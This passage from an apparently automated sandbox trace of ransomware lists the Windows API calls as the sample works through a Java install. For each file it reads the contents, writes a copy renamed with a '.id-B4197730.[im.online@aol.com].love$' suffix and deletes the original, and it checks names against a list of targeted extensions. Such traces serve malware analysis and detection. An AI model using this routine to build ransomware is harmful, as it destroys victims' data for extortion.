Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.943] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.943] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.943] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0106.944] GetLastError () returned 0x0 [0106.944] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x58f, lpOverlapped=0x0) returned 1 [0107.838] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x590, lpOverlapped=0x0) returned 1 [0107.840] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.840] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xe8, lpOverlapped=0x0) returned 1 [0107.840] SetEndOfFile (hFile=0x354) returned 1 [0107.840] CloseHandle (hObject=0x354) returned 1 [0107.841] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.841] SetEndOfFile (hFile=0x368) returned 1 [0107.842] CloseHandle (hObject=0x368) returned 1 [0107.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.843] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0107.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.843] lstrlenW (lpString=".doc") returned 4 [0107.843] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0107.843] lstrlenW (lpString=".docx") returned 5 [0107.843] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0107.843] lstrlenW (lpString=".pdf") returned 4 [0107.843] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0107.843] lstrlenW (lpString=".xls") returned 4 [0107.843] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0107.843] lstrlenW (lpString=".xlsx") returned 5 [0107.843] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0107.844] lstrlenW (lpString=".ppt") returned 4 [0107.844] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.844] lstrlenW (lpString=".zip") returned 4 [0107.844] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0107.844] lstrlenW (lpString=".rar") returned 4 [0107.844] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString=".bz2") returned 4 [0107.844] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString=".7z") returned 3 [0107.844] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0107.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.844] lstrlenW (lpString=".dbf") returned 4 [0107.844] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.844] lstrlenW (lpString=".1cd") returned 4 [0107.844] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.844] lstrlenW (lpString=".jpg") returned 4 [0107.844] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.844] lstrlenW (lpString=".doc") returned 4 [0107.844] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0107.844] lstrlenW (lpString=".docx") returned 5 [0107.844] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0107.844] lstrlenW (lpString=".pdf") returned 4 [0107.844] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0107.845] lstrlenW (lpString=".xls") returned 4 [0107.845] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0107.845] lstrlenW (lpString=".xlsx") returned 5 [0107.845] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0107.845] lstrlenW (lpString=".ppt") returned 4 [0107.845] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0107.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.845] lstrlenW (lpString=".zip") returned 4 [0107.845] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0107.845] lstrlenW (lpString=".rar") returned 4 [0107.845] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0107.845] lstrlenW (lpString=".bz2") returned 4 [0107.845] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0107.845] lstrlenW (lpString=".7z") returned 3 [0107.845] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0107.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.845] lstrlenW (lpString=".dbf") returned 4 [0107.845] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0107.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.845] lstrlenW (lpString=".1cd") returned 4 [0107.845] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0107.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0107.845] lstrlenW (lpString=".jpg") returned 4 [0107.845] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0107.845] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.846] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0107.846] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.847] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=153) returned 1 [0107.847] CloseHandle (hObject=0x368) returned 1 [0107.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0107.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.847] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.847] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.847] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0107.848] GetLastError () returned 0x0 [0107.848] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x99, lpOverlapped=0x0) returned 1 [0107.849] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xa0, lpOverlapped=0x0) returned 1 [0107.850] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.850] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x106, lpOverlapped=0x0) returned 1 [0107.850] SetEndOfFile (hFile=0x354) returned 1 [0107.851] CloseHandle (hObject=0x354) returned 1 [0107.852] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.852] SetEndOfFile (hFile=0x368) returned 1 [0107.853] CloseHandle (hObject=0x368) returned 1 [0107.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.853] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0107.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.854] lstrlenW (lpString=".doc") returned 4 [0107.854] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.854] lstrlenW (lpString=".docx") returned 5 [0107.854] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.854] lstrlenW (lpString=".pdf") returned 4 [0107.854] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.854] lstrlenW (lpString=".xls") returned 4 [0107.854] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.854] lstrlenW (lpString=".xlsx") returned 5 [0107.854] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.854] lstrlenW (lpString=".ppt") returned 4 [0107.854] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.854] lstrlenW (lpString=".zip") returned 4 [0107.854] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.854] lstrlenW (lpString=".rar") returned 4 [0107.854] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.854] lstrlenW (lpString=".bz2") returned 4 [0107.854] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.854] lstrlenW (lpString=".7z") returned 3 [0107.854] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.854] lstrlenW (lpString=".dbf") returned 4 [0107.855] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.855] lstrlenW (lpString=".1cd") returned 4 [0107.855] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.855] lstrlenW (lpString=".jpg") returned 4 [0107.855] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.855] lstrlenW (lpString=".doc") returned 4 [0107.855] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.855] lstrlenW (lpString=".docx") returned 5 [0107.855] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.855] lstrlenW (lpString=".pdf") returned 4 [0107.855] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.855] lstrlenW (lpString=".xls") returned 4 [0107.855] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.855] lstrlenW (lpString=".xlsx") returned 5 [0107.855] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.855] lstrlenW (lpString=".ppt") returned 4 [0107.855] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.855] lstrlenW (lpString=".zip") returned 4 [0107.855] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.855] lstrlenW (lpString=".rar") returned 4 [0107.855] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.855] lstrlenW (lpString=".bz2") returned 4 [0107.856] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.856] lstrlenW (lpString=".7z") returned 3 [0107.856] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.856] lstrlenW (lpString=".dbf") returned 4 [0107.856] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.856] lstrlenW (lpString=".1cd") returned 4 [0107.856] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0107.856] lstrlenW (lpString=".jpg") returned 4 [0107.856] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.856] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.856] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0107.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.857] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=168) returned 1 [0107.857] CloseHandle (hObject=0x368) returned 1 [0107.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0107.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.857] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.857] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0107.858] GetLastError () returned 0x0 [0107.858] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xa8, lpOverlapped=0x0) returned 1 [0107.859] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xb0, lpOverlapped=0x0) returned 1 [0107.860] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.860] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x102, lpOverlapped=0x0) returned 1 [0107.860] SetEndOfFile (hFile=0x354) returned 1 [0107.861] CloseHandle (hObject=0x354) returned 1 [0107.862] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.862] SetEndOfFile (hFile=0x368) returned 1 [0107.863] CloseHandle (hObject=0x368) returned 1 [0107.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.863] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0107.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.864] lstrlenW (lpString=".doc") returned 4 [0107.864] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.864] lstrlenW (lpString=".docx") returned 5 [0107.864] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.864] lstrlenW (lpString=".pdf") returned 4 [0107.864] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.864] lstrlenW (lpString=".xls") returned 4 [0107.864] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.864] lstrlenW (lpString=".xlsx") returned 5 [0107.864] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.864] lstrlenW (lpString=".ppt") returned 4 [0107.864] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.864] lstrlenW (lpString=".zip") returned 4 [0107.864] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.864] lstrlenW (lpString=".rar") returned 4 [0107.864] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.864] lstrlenW (lpString=".bz2") returned 4 [0107.864] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.865] lstrlenW (lpString=".7z") returned 3 [0107.865] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.865] lstrlenW (lpString=".dbf") returned 4 [0107.865] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.865] lstrlenW (lpString=".1cd") returned 4 [0107.865] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.865] lstrlenW (lpString=".jpg") returned 4 [0107.865] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.865] lstrlenW (lpString=".doc") returned 4 [0107.865] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.865] lstrlenW (lpString=".docx") returned 5 [0107.865] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.865] lstrlenW (lpString=".pdf") returned 4 [0107.865] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.865] lstrlenW (lpString=".xls") returned 4 [0107.865] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.865] lstrlenW (lpString=".xlsx") returned 5 [0107.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.865] lstrlenW (lpString=".ppt") returned 4 [0107.865] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.865] lstrlenW (lpString=".zip") returned 4 [0107.866] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.866] lstrlenW (lpString=".rar") returned 4 [0107.866] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.866] lstrlenW (lpString=".bz2") returned 4 [0107.866] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.866] lstrlenW (lpString=".7z") returned 3 [0107.866] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.866] lstrlenW (lpString=".dbf") returned 4 [0107.866] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.866] lstrlenW (lpString=".1cd") returned 4 [0107.866] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0107.866] lstrlenW (lpString=".jpg") returned 4 [0107.866] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.866] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.866] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0107.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0107.867] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=153) returned 1 [0107.867] CloseHandle (hObject=0x368) returned 1 [0107.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0107.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[im.online@aol.com].love$")) returned 